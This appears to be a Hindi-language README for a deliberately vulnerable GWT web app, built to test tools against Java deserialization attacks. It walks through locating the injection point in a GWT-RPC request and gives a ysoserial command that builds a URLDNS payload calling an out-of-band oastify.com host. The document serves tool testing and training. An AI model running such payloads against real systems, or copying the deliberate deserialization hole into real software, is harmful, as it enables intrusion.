
एक जानबूझकर असुरक्षित GWT-आधारित वेब अनुप्रयोग, जो टूलिंग और तकनीकों का परीक्षण करने के लिए है
यह GWT आरंभ-मार्गदर्शिका में वर्णित StockWatcher उदाहरण एप्लिकेशन का एक संस्करण है, जिसे GWT की "enhanced classes" सुविधा का उपयोग करने के लिए संशोधित किया गया है, जिससे यह Java deserialization हमले के प्रति भेद्य हो जाता है। इसका उपयोग केवल पहचान और शोषण उपकरणों के परीक्षण के लिए किया जाना चाहिए। वास्तविक दुनिया के GWT-आधारित अनुप्रयोगों में enhanced classes का सामान्य रूप से उपयोग किया जाता है, लेकिन इस उदाहरण के प्रकाशन तक, सुरक्षा पेशेवरों के पास अपने उपकरणों और प्रक्रियाओं को मान्य करने के लिए कोई आसानी से उपलब्ध ओपन सोर्स वेब एप्लिकेशन नहीं था।
वेब एप्लिकेशन चलाने के लिए, आपको निम्नलिखित टूल्स वाली एक Linux प्रणाली की आवश्यकता होगी:
openjdk-11-jre पैकेज स्थापित करेंant (अपने वितरण के पैकेज मैनेजर का उपयोग करके स्थापित करें)एप्लिकेशन को कई JAR फ़ाइलों की आवश्यकता होती है जो GitHub सोर्स नियंत्रण में सीधे शामिल करने के लिए बहुत बड़ी हैं, इसलिए आरंभ करने का सबसे आसान तरीका रिलीज़ पृष्ठ से नवीनतम पैकेज डाउनलोड करना और उसे अनपैक करना है।
एक बार रिलीज़ अनपैक कर लेने के बाद, build.xml में इस पंक्ति को संपादित करके /home/user/GWT/gwt-2.10.0 को अपनी GWT SDK निर्देशिका से बदलें:
सोर्स कोड निर्देशिका के भीतर से, निम्नलिखित कमांड चलाएँ:
ant build
ant devmode
यह भेद्य वेब एप्लिकेशन लॉन्च करेगा और इसे http://127.0.0.1:8888/StockWatcher.html पर सुलभ बनाएगा।
ध्यान दें कि यदि आप स्थानीय सेवा पर ट्रैफ़िक फ़ॉरवर्ड कर रहे हैं ताकि इसे दूरस्थ रूप से सुलभ बनाया जा सके, तो आपको 8888 के अतिरिक्त पोर्ट 9876 को भी फ़ॉरवर्ड करना चाहिए।
यदि आप इस रिपॉजिटरी को क्लोन करना चाहते हैं और बिना रिलीज़ डाउनलोड किए एप्लिकेशन चलाना चाहते हैं, तो आपको इसे क्लोन करने के बाद lib निर्देशिका में निम्नलिखित तृतीय-पक्ष JAR फ़ाइलों को डाउनलोड करके जोड़ना होगा:
आपको इस भेद्य एप्लिकेशन के लिए अपनी GWT निर्देशिका (जैसे gwt-2.10.0/) से निम्नलिखित GWT JAR फ़ाइलों को lib निर्देशिका में कॉपी करने की भी आवश्यकता होगी:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarउन सभी JAR फ़ाइलों की प्रतिलिपि बनाने के बाद, ऊपर दिए गए त्वरित आरंभ अनुभाग के अन्य चरण करें।
एक इंटरसेप्टिंग प्रॉक्सी (जैसे Burp Suite) के माध्यम से कनेक्ट करने के लिए कॉन्फ़िगर किए गए वेब ब्राउज़र का उपयोग करते हुए, URL http://127.0.0.1:8888/StockWatcher.html लोड करें।
पृष्ठ प्रारंभ में एक "compiling" संदेश प्रदर्शित करेगा। इस मूल फ़ॉर्म को दिखाने तक प्रतीक्षा करें:
फ़ील्ड में एक छोटा स्ट्रिंग दर्ज करें, जैसे BFOX, फिर Add बटन पर क्लिक करें। पृष्ठ सिम्युलेटेड स्टॉक प्रतीक के लिए यादृच्छिक अपडेट प्रदर्शित करना शुरू कर देगा:
अपने इंटरसेप्टिंग प्रॉक्सी इतिहास में, ध्यान दें कि आपका ब्राउज़र अब बार-बार POST अनुरोधों को http://127.0.0.1:8888/stockwatcher/checkCustomClass1 पर भेज रहा है, जो निम्नलिखित के समान है:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
अनुरोध में Base64-एन्कोडेड बाइनरी डेटा rO0ABXcEAAAAAA== एक भेद्य इंजेक्शन बिंदु है। वेब एप्लिकेशन का शोषण करने के लिए, आपको एक प्रतिस्थापन पेलोड उत्पन्न करने की आवश्यकता होगी। उदाहरण के लिए, Bishop Fox का अनुकूलित ysoserial संस्करण का उपयोग करके URLDNS पेलोड उत्पन्न करने के लिए, आप निम्नलिखित कमांड निष्पादित कर सकते हैं:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
एक संशोधित अनुरोध भेजें जो rO0ABXcEAAAAAA== को आपके उत्पन्न पेलोड से बदल दे, और भेद्य एप्लिकेशन को इसे deserialize और ट्रिगर करना चाहिए। पेलोड के कारण होने वाली किसी भी कार्रवाई के अतिरिक्त, यदि मान deserialize किया गया था, तो प्रतिक्रिया में फ़ील्ड नाम से संबंधित एक NoSuchFieldException भी शामिल होना चाहिए, उदाहरण के लिए ऊपर दिए गए उदाहरण से bishopfox नाम का उपयोग करते हुए:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
यदि आपने भेद्य वेब एप्लिकेशन के पूर्व-निर्मित रिलीज़ का उपयोग किया है, या ऊपर संदर्भित सभी JARs को मैन्युअल रूप से एक कस्टम बिल्ड में जोड़ा है, तो आपको (कम से कम) वेब ऐप के विरुद्ध निम्नलिखित पेलोड का उपयोग करने में सक्षम होना चाहिए:
इस लेखन के समय, ysoserial का मुख्यधारा संस्करण GWT-स्वरूपित आउटपुट का समर्थन नहीं करता था, इसलिए कृपया सुनिश्चित करें कि आप कस्टम फ़ोर्क का उपयोग करें।